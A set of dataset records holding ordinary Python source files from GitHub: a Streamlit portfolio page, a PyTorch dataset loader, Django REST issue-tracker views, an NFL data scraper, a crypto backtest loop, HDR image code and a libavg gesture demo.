United States.\n                    - Data column using add some new columns month and year using the trend and seasonality of thee sales analysis\n                      in month and year wise.\n                    - Visualize the shipping time according to ship modes.\n                    - Plot monthly observation of total sales.\n                    - Find some same patterns observed in each year rise in December, November, and September.\n                    - Sales trend over days.\n                    - Plot the sales distribution.\n                    - Rolling mean test.\n                    - ARIMA Model - Visualization of the performance of our model.\n                    - Visualize the sales forecasting.\n                    - XG Boost Model.\n                    - Root mean squared error for XG Boost.\n                    - Model Evalustion.\n                    \"\"\")    \n    st.markdown(\"---\")      \n    st.header(\"Health Data Analysis - EDA & Decision Tree Classification\")\n    with st.container():\n        left_col9, right_col9 = st.columns(2)\n        \n        with left_col9:\n            st.markdown(\"\"\"\n                        - The details of 7304 records and have one-year data with some NA values.\n                        - In the patients ages between 18 to 96 years.\n                        - Some patient's health data are present in the diagnosis and the diagnosis.\n                        - EDA - Matplotlib - Seaborn - Numpy - Pandas - Data Visualization - Analysis of the data.\n                        - Drop some unnecessary columns - Date columns using add some new columns day and month using Trend Analysis in Diagnosis or Not Diagnosis in month wise.\n                        - Decision Tree Classifier - Export the feature data - and load the feature data - Fix the target variable and features.\n                        - Testing & Training the data - Create decision tree classifier object - Train Decision Tree Classifier.\n                        - Predict the response for thee test dataset - Find the Accuracy - Visualizing the decision tree graph.\n                        \"\"\")\n            \n        with right_col9:\n            IMAGES = [\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/13.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/1%20Month%20Wise%20Diagnosis%20Yes%20or%20No%20In%20Male.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/2%20Month%20Wise%20Diagnosis%20Yes%20or%20No%20In%20Female.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/3.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/4.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/5.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/6.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/7.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/8.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/9.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/10.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/11.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/12.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/14.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20II/15.png?raw=true\"\n            ]\n            def slideshow_swipeable(images):\n                # Generate a session state key based on images.\n                        key = f\"slideshow_swipeable_{str(images).encode().hex()}\"\n\n                # Initialize the default slideshow index.\n                        if key not in st.session_state:\n                            st.session_state[key] = 0\n\n                # Get the current slideshow index.\n                        index = st.session_state[key]\n\n                # Create a new elements frame.\n                        with elements(f\"frame_{key}\"):\n\n                    # Use mui.Stack to vertically display the slideshow and the pagination centered.\n                    # https://mui.com/material-ui/react-stack/#usage\n                            with mui.Stack(spacing=2, alignItems=\"center\"):\n\n                        # Create a swipeable view that updates st.session_state[key] thanks to sync().\n                        # It also sets the index so that changing the pagination (see below) will also\n                        # update the swipeable view.\n                        # https://mui.com/material-ui/react-tabs/#full-width\n                        # https://react-swipeable-views.com/demos/demos/\n                                with mui.SwipeableViews(index=index, resistance=True, onChangeIndex=sync(key)):\n                                    for image in images:\n                                        html.img(src=image, css={\"width\": \"100%\"})\n\n                        # Create a handler for mui.Pagination.\n                        # https://mui.com/material-ui/react-pagination/#controlled-pagination\n                                def handle_change(event, value):\n                            # Pagination starts at 1, but our index starts at 0, explaining the '-1'.\n                                    st.session_state[key] = value-1\n\n                        # Display the pagination.\n                        # As the index value can also be updated by the swipeable view, we explicitely\n                        # set the page value to index+1 (page value starts at 1).\n                        # https://mui.com/material-ui/react-pagination/#controlled-pagination\n                                mui.Pagination(page=index+1, count=len(images), color=\"primary\", onChange=handle_change)\n\n\n            # if __name__ == '__main__':\n            slideshow_swipeable(IMAGES)  \n\n    st.markdown(\"---\") \n    st.header(\"Bike Buyer's Data Analysis\")\n    with st.container():\n        left_col10, right_col10 = st.columns(2)\n               \n        with left_col10:\n            IMAGES = [\n                \"https://github.com/jaghant/images/blob/main/Sem%20I/1.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20I/2.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20I/3.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20I/4.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20I/5.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20I/6.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20I/7.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20I/8.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20I/9.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20I/10.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20I/11.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20I/12.png?raw=true\",\n                \"https://github.com/jaghant/images/blob/main/Sem%20I/13.png?raw=true\"\n            ]\n            def slideshow_swipeable(images):\n                # Generate a session state key based on images.\n                        key = f\"slideshow_swipeable_{str(images).encode().hex()}\"\n\n                # Initialize the default slideshow index.\n                        if key not in st.session_state:\n                            st.session_state[key] = 0\n\n                # Get the current slideshow index.\n                        index = st.session_state[key]\n\n                # Create a new elements frame.\n                        with elements(f\"frame_{key}\"):\n\n                    # Use mui.Stack to vertically display the slideshow and the pagination centered.\n                    # https://mui.com/material-ui/react-stack/#usage\n                            with mui.Stack(spacing=2, alignItems=\"center\"):\n\n                        # Create a swipeable view that updates st.session_state[key] thanks to sync().\n                        # It also sets the index so that changing the pagination (see below) will also\n                        # update the swipeable view.\n                        # https://mui.com/material-ui/react-tabs/#full-width\n                        # https://react-swipeable-views.com/demos/demos/\n                                with mui.SwipeableViews(index=index, resistance=True, onChangeIndex=sync(key)):\n                                    for image in images:\n                                        html.img(src=image, css={\"width\": \"100%\"})\n\n                        # Create a handler for mui.Pagination.\n                        # https://mui.com/material-ui/react-pagination/#controlled-pagination\n                                def handle_change(event, value):\n                            # Pagination starts at 1, but our index starts at 0, explaining the '-1'.\n                                    st.session_state[key] = value-1\n\n                        # Display the pagination.\n                        # As the index value can also be updated by the swipeable view, we explicitely\n                        # set the page value to index+1 (page value starts at 1).\n                        # https://mui.com/material-ui/react-pagination/#controlled-pagination\n                                mui.Pagination(page=index+1, count=len(images), color=\"primary\", onChange=handle_change)\n\n\n            # if __name__ == '__main__':\n            slideshow_swipeable(IMAGES)\n        with right_col10:\n            st.markdown(\"\"\"\n                    - The details of 1000 users from different backgrounds with some injected NA values and output\n                      variables as to whether or not they buy a bike.\n                    - EDA - Matplotlib - Seaborn - Numpy - Pandas - Data Visualization - Analysis the data - Bike Purchase Trend Analysis.\n                    - Bike purchasing trend according to gender - region.\n                    - Bike purchasing trend according occupation.\n                    - Bike purchasing trend according to age.\n                    - Bike purchasing trend according to marital status.\n                    - Bike purchasing trend according to salary - education.\n                    - Bike purchasing trend according to numbers of their children.\n                    - Bike purchasing trend according to number of cars they own.\n                    - Bike purchasing trend of home owners - commuting distance.\n                    \"\"\")\n              \n        \n        \n        \n# ------------Contact ------------\nwith st.container():\n    st.write(\"---\") \n    st.header(\"Get In Touch With Me!\")  \n    st.write(\"##\")  \n    contact_form = \"\"\"<form action=\"https://formsubmit.co/jaghanvv@gmail.com\" method=\"POST\">\n     <input type=\"hidden\" name=\"_captcha\" value=\"false\">\n     <input type=\"text\" name=\"name\" placeholder = \"Your name\" required>\n     <input type=\"email\" name=\"email\" placeholder = \"Your email\" required>\n     <textarea name=\"message\" placeholder = \"Your message here\" required></textarea>\n     <button type=\"submit\">Send</button>\n</form>\"\"\"  \n\nleft_column, right_column = st.columns(2)\nwith left_column:\n    st.markdown(contact_form, unsafe_allow_html=True)\n    \nwith right_column:\n    st.empty()                    \n","repo_name":"jaghant/MyWebsite","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":38611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6526766601","text":"import torch\nimport os,glob\nimport random,csv\n\nfrom torch.utils.data import Dataset,DataLoader\nfrom torchvision import transforms\nfrom PIL import Image\n\nclass AEGeneset(Dataset):\n    def __init__(self,root,resize,mode):\n        super(Dataset,self).__init__()\n        self.root = root\n        self.resize = resize\n\n        self.name2label = {} # ”sq...“ : 0\n        for name in sorted(os.listdir(os.path.join(root))):\n            if not os.path.isdir(os.path.join(root,name)):\n                continue\n            self.name2label[name] = len(self.name2label.keys())\n\n        #print(self.name2label)\n        # image, label\n        self.images,self.labels = self.load_csv('iamges.csv')\n\n        if mode == 'train':\n            self.images = self.images[:int(0.8 * len(self.images))]\n            self.labels = self.labels[:int(0.8 * len(self.labels))]\n        elif mode == 'all':\n            self.images = self.images[:]\n            self.labels = self.labels[:]\n        else:\n            self.images = self.images[int(0.8*len(self.images)):]\n            self.labels = self.labels[int(0.8 * len(self.labels)):]\n\n\n    def load_csv(self, filename):\n\n        if not os.path.exists(os.path.join(self.root,filename)):\n\n            images = []\n            for name in self.name2label.keys():\n                # 'data\\\\0\\\\0.jpg'\n                images += glob.glob(os.path.join(self.root,name,'*jpg'))\n            # 301, 'data\\\\1\\\\36.jpg'\n            print(len(images),images)\n\n            random.shuffle(images)\n            with open(os.path.join(self.root, filename), mode='w',newline='') as f:\n                writer = csv.writer(f)\n                for img in images: # 'data\\\\0\\\\0.jpg'\n                    name = img.split(os.sep)[-2]\n                    label = self.name2label[name]\n                    # 'data\\\\0\\\\0.jpg', 0\n                    writer.writerow([img, label])\n                print('writen into csv file:', filename)\n\n\n        # read from csv file\n        images,labels = [],[]\n        with open(os.path.join(self.root,filename)) as f:\n            reader = csv.reader(f)\n            for row in reader:\n                # 'data\\\\0\\\\0.jpg', 0\n                img,label = row\n                #name = img.split(os.sep)[-1][0]\n                label = int(label)\n\n                #names.append(name)\n                images.append(img)\n                labels.append(label)\n        assert  len(images) == len(labels)\n\n        return  images,labels\n\n    def __len__(self):\n        return len(self.images)\n\n    def __getitem__(self, idx):\n        # idx~[0~len(images)]\n        # self.images, self.labels\n        # img: 'data\\\\0\\\\0.jpg'\n        # label； 0\n        img, label = self.images[idx],self.labels[idx]\n        tf = transforms.Compose([\n            lambda x:Image.open(x),\n            #lambda x: Image.open(x).convert('RGB'), # string path =>  image data\n            transforms.Resize((self.resize,self.resize)),\n            transforms.ToTensor()\n        ])\n        name = torch.tensor(int(img.split(os.sep)[-1][:-4]))\n        img = tf(img)\n        all_label = torch.randn(2)\n        all_label[0] = int(name)\n        all_label[1] = label\n\n\n\n        return img,all_label\n\n\n\ndef main():\n\n    import visdom\n    import time\n\n    viz = visdom.Visdom()\n    db = Geneset('data',100,'train')\n    #\n    x,y = next(iter(db))\n    print('sample:',x.shape,y.shape,y[0],y[1])\n    viz.images(x,win='sample_x',opts=dict(title='sample_x'))\n\n    loader = DataLoader(db,batch_size=32,shuffle=True,)\n\n    for x,y in loader:\n        viz.images(x,nrow=8,win='batch',opts=dict(title='batch'))\n        viz.text(str(y.numpy()),win='label',opts=dict(title='batch_y'))\n        time.sleep(10)\n\nif __name__ == '__main__':\n    main()","repo_name":"NaiLeShi/-ScSSC","sub_path":"code/ae_geneset.py","file_name":"ae_geneset.py","file_ext":"py","file_size_in_byte":3713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7197620314","text":"from django.db import IntegrityError\nfrom rest_framework.viewsets import ModelViewSet\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.exceptions import ValidationError\n\nfrom issuetrackingsystem.models import Project, Issue, Comment, Contributor\nfrom issuetrackingsystem.serializers import (\n    ProjectDetailSerializer,\n    IssueDetailSerializer,\n    CommentDetailSerializer,\n    ContributorDetailSerializer,\n    ProjectListSerializer,\n    CommentListSerializer,\n    IssueListSerializer,\n    ContributorListSerializer\n    )\nfrom issuetrackingsystem.permissions import (\n    IsUserContributor,\n    IsAuthor,\n    ContributorIsNotCreator,\n    HasProjectWritePermission\n)\n\n\ndef create_contributor(user, project):\n    contributor = Contributor.objects.create(\n        user_foreign_key=user,\n        project_foreign_key=project,\n        user_id=user.user_id,\n        project_id=project.project_id\n    )\n    contributor.role = contributor.Role.CREATOR\n    contributor.permission = Contributor.Permission.CRUD\n    return contributor.save()\n\n\nclass MultipleSerializerMixin:\n    detail_serializer_class = None\n\n    def get_serializer_class(self):\n        if self.detail_serializer_class is not None:\n            if self.action == \"retrieve\":\n                return self.detail_serializer_class\n            elif self.action == \"create\":\n                return self.detail_serializer_class\n            elif self.action == \"update\":\n                return self.detail_serializer_class\n            elif self.action == \"partial_update\":\n                return self.detail_serializer_class\n        return super().get_serializer_class()\n\n\nclass ProjectViewset(MultipleSerializerMixin, ModelViewSet):\n\n    serializer_class = ProjectListSerializer\n    detail_serializer_class = ProjectDetailSerializer\n\n    permission_classes = [IsAuthenticated, HasProjectWritePermission]\n\n    def get_queryset(self):\n        return Project.objects.filter(\n            contributors__user_id=self.request.user.user_id\n        )\n\n    def perform_create(self, serializer):\n        project_save = serializer.save()\n        project = Project.objects.get(project_id=project_save.project_id)\n        user = self.request.user\n        create_contributor(user, project)\n        return serializer\n\n\nclass ContributorViewset(MultipleSerializerMixin, ModelViewSet):\n\n    serializer_class = ContributorListSerializer\n    detail_serializer_class = ContributorDetailSerializer\n\n    permission_classes = [\n        IsAuthenticated, IsUserContributor, ContributorIsNotCreator\n    ]\n\n    def get_queryset(self):\n        return Contributor.objects.filter(project_id=self.kwargs[\"project_pk\"])\n\n    def perform_create(self, serializer):\n        project = Project.objects.get(project_id=self.kwargs[\"project_pk\"])\n        try:\n            serializer.save(\n                user_id=serializer.validated_data[\"user_foreign_key\"].user_id,\n                project_id=self.kwargs[\"project_pk\"],\n                project_foreign_key=project,\n            )\n        except IntegrityError as e:\n            raise ValidationError({\"detail\": e})\n        return serializer\n\n    def perform_update(self, serializer):\n        try:\n            serializer.save(\n                user_id=serializer.validated_data[\"user_foreign_key\"].user_id,\n            )\n        except IntegrityError as e:\n            raise ValidationError({\"detail\": e})\n        return serializer\n\n\nclass IssueViewset(MultipleSerializerMixin, ModelViewSet):\n\n    serializer_class = IssueListSerializer\n    detail_serializer_class = IssueDetailSerializer\n\n    permission_classes = [IsAuthenticated, IsUserContributor, IsAuthor]\n\n    def get_queryset(self):\n        return Issue.objects.filter(project_id=self.kwargs[\"project_pk\"])\n\n    def perform_create(self, serializer):\n        try:\n            project = Project.objects.get(project_id=self.kwargs[\"project_pk\"])\n            Contributor.objects.get(\n                user_foreign_key=serializer.validated_data[\"assignee_user_id\"],\n                project_foreign_key=project\n            )\n        except Exception as e:\n            raise ValidationError({\"detail\": e})\n        serializer.save(\n            author_user_id=self.request.user,\n            project_id=self.kwargs[\"project_pk\"],\n            project_foreign_key=project,\n        )\n        return serializer\n\n    def perform_update(self, serializer):\n        try:\n            project = Project.objects.get(project_id=self.kwargs[\"project_pk\"])\n            Contributor.objects.get(\n                user_foreign_key=serializer.validated_data[\"assignee_user_id\"],\n                project_foreign_key=project\n            )\n        except Exception as e:\n            raise ValidationError({\"detail\": e})\n        serializer.save(\n            project_id=self.kwargs[\"project_pk\"],\n            project_foreign_key=project,\n        )\n        return serializer\n\n\nclass CommentViewset(MultipleSerializerMixin, ModelViewSet):\n\n    serializer_class = CommentListSerializer\n    detail_serializer_class = CommentDetailSerializer\n\n    permission_classes = [IsAuthenticated, IsUserContributor, IsAuthor]\n\n    def get_queryset(self):\n        try:\n            Issue.objects.get(id=self.kwargs[\"issue_pk\"])\n        except Issue.DoesNotExist as e:\n            raise ValidationError({\"detail\": e})\n        return Comment.objects.filter(issue_id=self.kwargs[\"issue_pk\"])\n\n    def perform_create(self, serializer):\n        try:\n            issue = Issue.objects.get(id=self.kwargs[\"issue_pk\"])\n        except Issue.DoesNotExist as e:\n            raise ValidationError({\"detail\": e})\n        serializer.save(\n            author_user_id=self.request.user,\n            issue_id=issue,\n        )\n        return serializer\n","repo_name":"vpich/P10_Projet_SoftDesk","sub_path":"softdesk/issuetrackingsystem/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32025696237","text":"# **************************************************************************** #\n#                                                                              #\n#                                                         :::      ::::::::    #\n#    generator.py                                       :+:      :+:    :+:    #\n#                                                     +:+ +:+         +:+      #\n#    By: alvgomez <alvgomez@student.42.fr>          +#+  +:+       +#+         #\n#                                                 +#+#+#+#+#+   +#+            #\n#    Created: 2023/03/24 12:29:48 by alvgomez          #+#    #+#              #\n#    Updated: 2023/04/13 16:22:26 by alvgomez         ###   ########.fr        #\n#                                                                              #\n# **************************************************************************** #\n\nfrom random import randint\n\ndef generator(text, sep=\" \", option=None):\n    '''Divide el texto de acuerdo al valor de sep y producirá las sub-strings.\n        option especifica si una acción se realizará sobre las sub-strings antes de ser producidas.\n    '''\n    if isinstance(text, str) and isinstance(sep, str) and (option == None or option == \"shuffle\" or option == \"unique\" or option == \"ordered\"):\n        list = text.split(sep)\n        if option == \"ordered\":\n            list.sort()\n            return list\n        elif option == \"unique\":\n            new = set(list)\n            return new\n        elif option == \"shuffle\":\n            new = []\n            while len(new) != len(list):\n                pos = randint(0, len(list) - 1)\n                if list[pos] not in new:\n                    new.append(list[pos])\n            return new\n        else:\n         return list\n    else:\n        print(\"ERROR\")\n        exit()\n\n#if __name__ == \"__main__\":\n#    text = \"Le Lorem Ipsum est simplement du faux texte.\"\n#    for word in generator(text, sep=\" \", option=\"shuffle\"):\n#        print(word)","repo_name":"alvgomezv/python_piscine_42","sub_path":"module_01/ex03/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7101826644","text":"import os,sys\n\n\nsys.path.append(os.getcwd())\nimport yaml\n\n\ndef base_analyse(filename,data_key):\n    file=\".\"+os.sep+\"data\"+os.sep+filename\n    with open(file,\"r\") as f:\n        data=yaml.load(f,Loader=yaml.FullLoader)\n        arrs=[]\n        for i in data[data_key].values():\n            # print(i)\n            arrs.append(i)\n        return arrs\n\nif __name__ == '__main__':\n    data=base_analyse(\"new_msg.yaml\",\"test_new_msg\")\n    print(data)","repo_name":"donggedidi/test0208","sub_path":"base/base_analyse.py","file_name":"base_analyse.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35144070583","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport pprint\nfrom tabulate import tabulate \n\npp = pprint.PrettyPrinter(depth=4)\n\nfrom history import get_history\nfrom ichimoku import get_ichimoku\nfrom strategybasic import basic_strategy\n\n#---------------INTERFACE---------------------\nsymbol = 'ETHUSDT'\nlimit = 300 #max 1000\nindicatorlimit = 100\n\nstrategy_obj = {\n    'focus_zone': False,     # make true when focus zone starts  \n    'focus_start' : None,    # will have start time and price\n    'focus_end' : None,      # will have end time and price\n    'start_price' : None,    # price at start of focus zone \n    'end_price' : None,      # price at end of focus zone\n    'trade' : -1,        # only one trade per focus zone \n                         # -1: no trade | 0: in trade | 1: trade completed for this focus\n}\n#---------------------------------------------\n\ndata = get_history(symbol, limit)\n\nresult = []\n\n\nframe = data[0:indicatorlimit]    #used for making the indicator\nbacktestdata = data[-1*(data.shape[0]-indicatorlimit):] #rest of the data used for testing further\n\n\n#for loop for running backtest\nfor index, row in backtestdata.iterrows():\n    print(\"index:\", index)\n    frame = frame.iloc[1:]      #for poping first row\n    frame = frame.append(row)   #for adding new row\n    print('frame')\n    print(frame)\n    strategy_obj = basic_strategy(frame, strategy_obj)\n    print(\"strategy_obj\")\n    pp.pprint(strategy_obj)\n\n    #appending the focus zones\n    if strategy_obj['focus_end'] and strategy_obj['focus_start']:\n        result.append(strategy_obj)\n        #resting the strategy object\n        strategy_obj = {\n            'focus_zone': False,     \n            'focus_start' : None,\n            'start_price' : None,\n            'end_price' : None,\n            'focus_end' : None,      \n            'trade' : -1,       \n                                \n        }\n\n\n    print('---------------------------------------------------------------------------------')\n\nprint('result')\nprint('symbol: ', symbol)\nprint('data points: ', limit)\n\nresult = pd.DataFrame(result)\nresult = result.drop('focus_zone', axis=1)\nprint(tabulate(result, headers = 'keys', tablefmt = 'psql')) ","repo_name":"dikwickley/crypto-bot2","sub_path":"backtest.py","file_name":"backtest.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33648261114","text":"\"\"\"\r\nCourse: cmps 4883\r\nAssignemt: A03\r\nDate: 02/06/2019\r\nGithub username: aanaree\r\nRepo url: https://github.com/aanaree/4883-SWTools-greene\r\nName: Ackeem Greene\r\nDescription: \r\n        This progroms scrapes NFL gameddata from their website and used the data\r\n        to extract the infomation and store it into a '.json' file\r\n\"\"\"\r\nfrom beautifulscraper import BeautifulScraper\r\nfrom pprint import pprint\r\nimport urllib\r\nimport json\r\nimport sys\r\nfrom time import sleep\r\n\r\nscraper = BeautifulScraper()\r\ndelays = [.01,.02,.03,.04,.05]\r\npages = [x+1 for x in range(5)]\r\n\r\nf = open(\"nfl_dat.json\",\"w\")\r\n\r\n#used to change auto matically changed the years and weeks in each website\r\nyears = [x for x in range (2009,2019)]\r\nweeks = [x for x in range (1,18)]\r\n\r\nsREG = \"REG\"\r\nsPOST = \"POST\"\r\n#stores each game id\r\ngameids =[]\r\n\r\n#REGULAR SEASON STATS\r\nfor year in years:\r\n        #gameids[year] = []\r\n        for week in weeks:\r\n                url = \"http://www.nfl.com/schedules/%s/%s%s\"%(year,sREG,str(week))\r\n                page = scraper.go(url)\r\n\r\n                #extracts the Game ID using the div from the nfl website\r\n                divs = page.find_all('div',{\"class\":\"schedules-list-content\"})\r\n                for div in divs:\r\n                        gameids.append(div['data-gameid'])\r\n\r\n#uses scraped game ID's to extract each games data and store it into a .json file\r\nfor gameid in gameids:\r\n        url2 = \"http://www.nfl.com/liveupdate/game-center/%s/%s_gtd.json\"%(gameid,gameid)\r\n        #stores the game data into the .json file\r\n        urllib.request.urlretrieve(url2, 'nfl_json/'+gameid)\r\n\r\n\r\n#POST SEASON STATS\r\nfor year in years:\r\n        url = \"http://www.nfl.com/schedules/%s/%s\"%(year,sPOST)\r\n        page = scraper.go(url)\r\n        \r\n        #extracts the Game ID using the div from the nfl website\r\n        divs = page.find_all('div',{\"class\":\"schedules-list-content\"})\r\n        for div in divs:\r\n                gameids.append(div['data-gameid'])\r\n\r\n#uses scraped game ID's to extract each games data and store it into a .json file\r\nfor gameid in gameids:\r\n        url2 = \"http://www.nfl.com/liveupdate/game-center/%s/%s_gtd.json\"%(gameid,gameid)\r\n        #stores the game data into the .json file\r\n        urllib.request.urlretrieve(url2, 'nflp_json/'+gameid+'.json')\r\n    \r\nf.write(json.dumps(gameids))","repo_name":"aanaree/4883-SWTools-greene","sub_path":"A03/scrape_game_data.py","file_name":"scrape_game_data.py","file_ext":"py","file_size_in_byte":2332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27668950630","text":"import unittest\n\nfrom anthrax.container import Form, Container\nfrom anthrax.field import TextField, IntegerField\nfrom util import dummy_frontend\n\nclass Test(unittest.TestCase):\n\n    def setUp(self):\n        class TestForm(Form):\n            __frontend__ = dummy_frontend\n            name = TextField(\n                regexp=r'^[A-Z][a-z]+$',\n                regexp_message='Write your name with a capital',\n                max_len=20, max_len_message='You must be kidding!',\n            )\n            nickname = TextField(max_len=30)\n            age = IntegerField(min=7, max=99)\n        self.form = TestForm()\n        class TestForm2(Form):\n            __frontend__ = dummy_frontend\n            class personals(Container):\n                name = TextField(\n                    regexp=r'^[A-Z][a-z]+$',\n                    regexp_message='Write your name with a capital',\n                    max_len=20, max_len_message='You must be kidding!',\n                )\n                nickname = TextField(max_len=30)\n            age = IntegerField(min=7, max=99)\n        self.form2 = TestForm2()\n\n    def test_conversion(self):\n        \"\"\"Test a 'to raw' conversion.\"\"\"\n        self.form['name'] = 'Sir Galahad'\n        self.form['nickname'] = 'The Pure'\n        self.form['age'] = 20\n        self.assertDictEqual(dict(self.form.__raw__), {\n            'name': 'Sir Galahad', 'nickname': 'The Pure', 'age': '20'\n        })\n\n    def test_nested_conversion(self):\n        \"\"\"Test a 'to raw' conversion with fieldsets.\"\"\"\n        self.form2['personals-name'] = 'Sir Galahad'\n        self.form2['personals-nickname'] = 'The Pure'\n        self.form2['age'] = 20\n        self.assertDictEqual(dict(self.form2.__raw__), {\n            'personals': {'name': 'Sir Galahad', 'nickname': 'The Pure'},\n            'age': '20'\n        })\n\n    def test_empty(self):\n        \"\"\"Test a raw value of an empty form.\"\"\"\n        self.assertEqual(len(self.form.__raw__), 3)\n        self.assertDictEqual(dict(self.form.__raw__), {\n            'name': '', 'nickname': '', 'age': ''\n        })\n","repo_name":"zefciu/Anthrax","sub_path":"src/test/test_to_raw.py","file_name":"test_to_raw.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71289640741","text":"import cv2\nimport numpy as np\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport sys\n\nCCRF_LUT_R = np.zeros((256,256))\nCCRF_LUT_G = np.zeros((256,256))\nCCRF_LUT_B = np.zeros((256,256))\n\ndef run_CCRF(f2q,fq):\n    CCRF = np.zeros(fq.shape)\n    for i in range(f2q.shape[0]):\n        for j in range(f2q.shape[1]):\n            X_B = fq[i][j][0]\n            Y_B = f2q[i][j][0]\n            CCRF[i][j][0] = CCRF_LUT_B[X_B][Y_B]\n            X_G = fq[i][j][1]\n            Y_G = f2q[i][j][1]\n            CCRF[i][j][1] = CCRF_LUT_G[X_G][Y_G]\n            X_R = fq[i][j][2]\n            Y_R = f2q[i][j][2]\n            CCRF[i][j][2] = CCRF_LUT_R[X_R][Y_R]\n    return CCRF\n\nCCRF_LUT_R = np.loadtxt('img/CCRF_R.txt')\nCCRF_LUT_G = np.loadtxt('img/CCRF_G.txt')\nCCRF_LUT_B = np.loadtxt('img/CCRF_B.txt')\n\nf2q = cv2.imread(\"img/ccrf_6.jpg\")\nfq = cv2.imread(\"img/ccrf_5.jpg\")\nccrf = run_CCRF(f2q,fq)\ncv2.imwrite('img/ccrf_1_5.jpg',ccrf)","repo_name":"letteropener/HDR_imaging","sub_path":"run_CCRF.py","file_name":"run_CCRF.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38699564634","text":"from libavg import avg, gesture, app\n\nimport gestures\n\nRESOLUTION = avg.Point2D(800, 600)\n\nnodeList = []\nnodesEnabled = True\n\ndef abortAll():\n    for node in nodeList:\n        node.recognizer.abort()\n\ndef switchNodesEnabled():\n    global nodesEnabled\n    nodesEnabled = not nodesEnabled\n    for node in nodeList:\n        node.recognizer.enable(nodesEnabled)\n\n\nclass TapButton(gestures.TextRect):\n    def __init__(self, text, **kwargs):\n        super(TapButton, self).__init__(text, **kwargs)\n\n        self.recognizer = gesture.TapRecognizer(node=self,\n                    possibleHandler=self._onPossible, detectedHandler=self._onDetected,\n                    failHandler=self._onFail)\n\n    def _onPossible(self):\n        self.rect.fillcolor = \"FFFFFF\"\n\n    def _onDetected(self):\n        self.rect.fillcolor = \"000000\"\n        self.rect.color = \"00FF00\"\n\n    def _onFail(self):\n        self.rect.fillcolor = \"000000\"\n        self.rect.color = \"FF0000\"\n\n\nclass AbortButton(TapButton):\n    def __init__(self, text, **kwargs):\n        super(AbortButton, self).__init__(text, **kwargs)\n\n    def _onPossible(self):\n        super(AbortButton, self)._onPossible()\n        self.words.color = \"000000\"\n\n    def _onDetected(self):\n        super(AbortButton, self)._onDetected()\n        abortAll()\n        self.words.color = \"FFFFFF\"\n\n    def _onFail(self):\n        super(AbortButton, self)._onFail()\n        self.words.color = \"FFFFFF\"\n\n\nclass EnableButton(TapButton):\n    def __init__(self, text, **kwargs):\n        super(EnableButton, self).__init__(text, **kwargs)\n\n        self.words.color = \"FF0000\"\n\n    def changeText(self):\n        if(nodesEnabled):\n            self.words.text = \"Disable all\"\n            self.words.color = \"FF0000\"\n        else:\n            self.words.text = \"Enable all\"\n            self.words.color = \"00FF00\"\n\n    def _onDetected(self):\n        super(EnableButton, self)._onDetected()\n        switchNodesEnabled()\n        self.changeText()\n\n\nclass GestureDemoDiv(app.MainDiv):\n\n    def onInit(self):\n\n        avg.WordsNode(text='''a - abort recognition <br/>\n                d - enable/disable recognition <br/><br/>\n                or use the buttons on the right side''',\n                pos=(20, 510), parent=self)\n\n        nodeList.append(gestures.HoldNode(text=\"HoldRecognizer\", pos=(20,20),\n                parent=self))\n\n        nodeList.append(gestures.DragNode(text=\"DragRecognizer<br/>friction\",\n                pos=(200,20), friction=0.05, parent=self))\n\n        nodeList.append(gestures.TransformNode(text=\"TransformRecognizer\",\n                ignoreRotation=False, ignoreScale=False, pos=(380,20), parent=self))\n\n        self.abortButton = AbortButton(text=\"Abort all\", pos = (630, 490), 